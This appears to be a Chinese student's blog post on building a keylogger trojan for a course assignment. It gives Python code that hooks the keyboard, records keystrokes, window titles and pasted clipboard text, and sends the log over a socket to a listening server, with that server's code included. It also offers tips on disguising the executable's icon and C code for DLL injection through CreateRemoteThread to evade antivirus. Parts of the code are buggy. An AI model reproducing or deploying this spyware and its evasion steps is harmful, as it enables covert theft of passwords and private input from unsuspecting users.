事实上,我最初是没想到这学期的物联网安全课程会以答辩形式作为考核的,更没想到的是老师竟然让我们自己设计一个针对物联网的病毒或者针对物联网的漏洞,还要求不能被查杀。这难度,属实大?_? 。可是,我不想挂科啊,就只能硬着头皮来了。
我害怕答辩时会出现功能相似的作品,就没有考虑wifi安全、U盘安全、路由器安全等(果然,答辩的时候一堆这几方面的作品,现在想想,还是后怕,哈哈)。灵感来自于之前上的一门《逆向工程》,在这门课的配套书上,我看到过记录键盘的木马程序。键盘可以说是我们最常用的硬件了,所以键盘的安全问题也就相当于是物联网的安全问题啦?哈哈,就这个了。
首先,我们要知道“消息钩取”的机制。Windows的GUI以事件驱动的方式工作,键盘和鼠标的操作大都会引起事件的产生,产生事件时,操作系统会将预先定义好的消息发送给相应的应用程序,应用程序收到消息后,根据消息的内容执行相应的动作。“消息钩子”就是在事件消息从操作系统向应用程序传递的过程中,获取、查看、修改和拦截这些消息的机制。
我们所用的主要是这个函数:
HHOOK WINAPI SetWindowsHookEx(
_In_int idHook, //被安装的钩子过程的类型,像本次实验中用的WH_KEYBOARD
_In_HOOKPROC lpfn, //指向钩子过程(回调函数)的指针
_In_HINSTANCE hMod, //由lpfn指向的钩子过程所在dll的句柄
_In_DWORD dwThreadId) //钩子过程要被关联到的线程的ID(0:钩子过程关联到所有线程)
还有kernel32.dll、user32.dll、psapi.dll这三个DLL。
user32.dll提供用于执行用户界面任务的各个函数,包括键盘、鼠标操作、菜单管理等
kernel32.dll提供操作系统的核心功能服务,包括进程和线程操作、内存管理、文件访问等
psapi.dll获取进程状态
对了,还要介绍一下句柄,因为木马要用到句柄。句柄(Handle)是windows标识,由应用程序建立或使用的对象所使用的一个唯一的整数值(通常为32位)。Windows要使用各种各样的句柄来标识诸如应用程序实例、窗口、文件等对象。句柄是程序用来引用相应对象用的,一个进程被初始化时,系统要为它分配一个句柄表。
好啦,我们可以开始制作木马啦!木马的名字叫dawenxi,没错,就是“要你命三千”的发明者的名字。好的,闻西,木马主要由这几部分构成:
书上的键盘记录木马是用c语言写的,但是我用的是python语言。提前说明,这个木马是无害的哈!
木马的工作流程如下:钩子函数监听键盘事件—>将监听到的内容生成txt文件存储到本地—>通过套接字发送到其他主机
直接给出木马的程序:
from ctypes import *
import pythoncom # 提供使用windows com组件的能力
import pyHook
import win32clipboard # 调用windows剪切板
import socket
if not True:
import codecs
'''
/**
*author: guoguo
*date: 2020/12/21
*describtion: wobushidawenxia
*/
'''
# 调用核心API,存在于kernel32.dll、user32.dll、gdi32.dll这三个DLL中
user32 = windll.user32 # user32.dll提供用于执行用户界面任务的各个函数,包括键盘、鼠标操作、菜单管理等
kernel32 = windll.kernel32 # kernel32.dll提供操作系统的核心功能服务,包括进程和线程操作、内存管理、文件访问等
psapi = windll.psapi # psapi.dll获取进程状态
current_window = None # 将当前窗口值取零
class Trojan_guoguo:
def get_current_process(self):
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存,用以存放进程
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)
# 存入本地的一个文档中
file = open('F:/python/guoguo.txt','w')
file.write("[ PID:%s-%s-%s]\n" % (process_id, executable.value, windows_title.value))
file.write("\n")
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义键盘监听事件函数
def onKeyboardEvent(self, event):
global current_window # 定义一个全局窗口变量
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 检测按键是否是常规按键,即Ascii值大于32且小于127
if event.Ascii > 32 and event.Ascii <127:
file = open('F:/python/guoguo.txt','w')
file.write(chr(event.Ascii))
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard() # 打开粘贴板
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
file = open('F:/python/guoguo.txt','w')
file.write("[PASTE]-%s" % (pasted_value))
else:
file = open('F:/python/guoguo.txt','w')
file.write("[%s]" % event.Key)
# 循环监听下一个击键事件
return True
'''
# 这一部分代码是记录键盘及窗口的的所有内容
file = open('F:/python/ggg.txt','w')
file.write("MessageName:%s" % event.MessageName) #事件名称
file.write("Message:%s" % event.Message) #windows消息常量
file.write("Time:%s" % event.Time)
file.write("Window:%s" % event.Window) #窗口句柄
file.write("WindowName:%s" % event.WindowName) #窗口标题
file.write("Ascii:%s" % event.Ascii, chr(event.Ascii)) #按键的ASCII码
file.write("Key:%s" % event.Key) #按键的名称
file.write("KeyID:%d" % event.KeyID) #按键的虚拟键值
file.write("ScanCode:%s" % event.ScanCode) #按键的扫描码
file.write("Extended:%s" % event.Extended) #判断是否是增强键盘的拓展键
file.write("Injected:%s" % event.Injected) #注入信息
file.write("Alt:%s" % event.Alt) #是否同时按下Alt
file.write("Transition:%s" % event.Transition) #判断转换状态
file.write("---")
# 同鼠标事件监听函数的返回值
return None # 如果返回None则可以锁住用户的键盘,因为使按键返回了空值
'''
def __init__(self):
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = onKeyboardEvent
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
'''
获取目标机的ip地址和可用的端口号,并存储在本地文件夹中,并发送到攻击机
如果原定的攻击端口被查杀关闭,则可据此采用新端口进行通信
class ip_guoguo:
def __init__(self):
pass
def get_host_ip(self): # 获取本机ip地址
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip
# 判断当前端口是否可用
def is_port_used(self, ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
return True
except OSError:
return False
finally:
s.close()
def __init__(self):
host_ip = get_host_ip()
ip_real = [] # 创建一个空列表,存储可用端口
f = 1024
# 查询本机可用端口
if f < 49152: #探测端口的范围,可改动
if is_port_used(host_ip, f) == True:
ip_real.append(f)
else:
f = f + 1
file = open('F:/python/guoguo.txt','w')
file.write("\n")
file.write("IP地址为%s"%host_ip)
file.write("可用端口为%s"%ip_real)
file.write("\n")
'''
def Send_guoguo():
target_host = "127.0.0.1" # 这里采用的是本机地址
target_port = 6666
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接客户端
client.connect((target_host, target_port))
# 读取文件内容
file_object = open('F:/python/guoguo.txt','r')
try:
all_text = file_object.read()
finally:
file_object.close()
send_data = '{:0>6d}{}'.format(len(all_text), all_text)
client.send(str.encode(send_data))
response = client.recv(4096)
print (response)
if __name__ == "__main__":
Send_guoguo()
下面,对上面的木马的攻击脚本做一些补充说明。
木马顺便实现了对ip地址及可用端口的嗅探,但如果你要使用的话,可能要改动一些地方。
值得一提的是,pyHook包的安装不能直接通过pip来进行,下面提供安装方法:
首先进入这个网站
https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
根据自己的python版本下载文件后,接着执行pip install ×××进行安装。
其次,如果你要调用win32clipboard包需要安装pywin32包,执行如下命令:pip install -U pywin32
接着给出木马的服务器端的程序:
import socket
import threading
'''
/**
*author: guoguo
*date: 2020/12/21
*describtion: wobushidawenxia
*/
'''
bind_ip = '127.0.0.1'
bind_port = 6666
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print ("监听:%s, %d"%(bind_ip,bind_port))
def handle_client(client_socket):
# 打印客户端发送得到的内容
request = client_socket.recv(102400)
print ("发送:%s"%request)
# 返回数据包
client_socket.close()
while True:
client, addr=server.accept()
print ("接收:%s:%d"%(addr[0], addr[1]))
# 挂起客户端,处理传入数据
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
好啦,木马的主体已经完成了。如果你运行的话,就会明显感觉到键盘输出内容的速度会变慢。但是,有一个问题就是,本地文档有时候会生成,有时候就不会生成,这大概是一个玄学问题吧,希望有大佬可以解决。
接着,我们把它封装为exe格式的文件,你可以用py2exe包来封装,也可以用pyinstaller包来封装。同时,你也可以在封装的时候给它换一个图标来提高迷惑性哦。
最后,要实现对木马的隐藏或者免杀,网上有很多种方法,像啥加花、捆绑、加壳……。我采用的主要是课本上面提供的方法——dll注入。而dll注入又分为3种方法:1.使用CreateRemoteThread()函数创建远程线程;2.修改注册表;3.消息钩取(也是监听键盘事件时用到的技术原理)。我主要采用的是创建远程线程的方法,即在另一个不会被查杀的进程的内存空间中再开辟一个空间,创建一个线程,来执行我们的木马。
给出核心部分的函数:
// 获得dwPID进程ID对应的目标进程句柄,dwPID即要被注入DLL的目标进程的ID,ID可在资源管理器中查看
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
return FALSE;
}
// 为DLL路径名szDllPath开辟一块存储空间,并写入路径字符串,路径名是自己定义的相对路径
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// 获取当前进程地址空间中LoadLibraryW()函数的地址,该函数由kernel32.dll导入
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// 在目标进程中运行线程,该线程执行LoadLibraryW()函数注入DLL
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);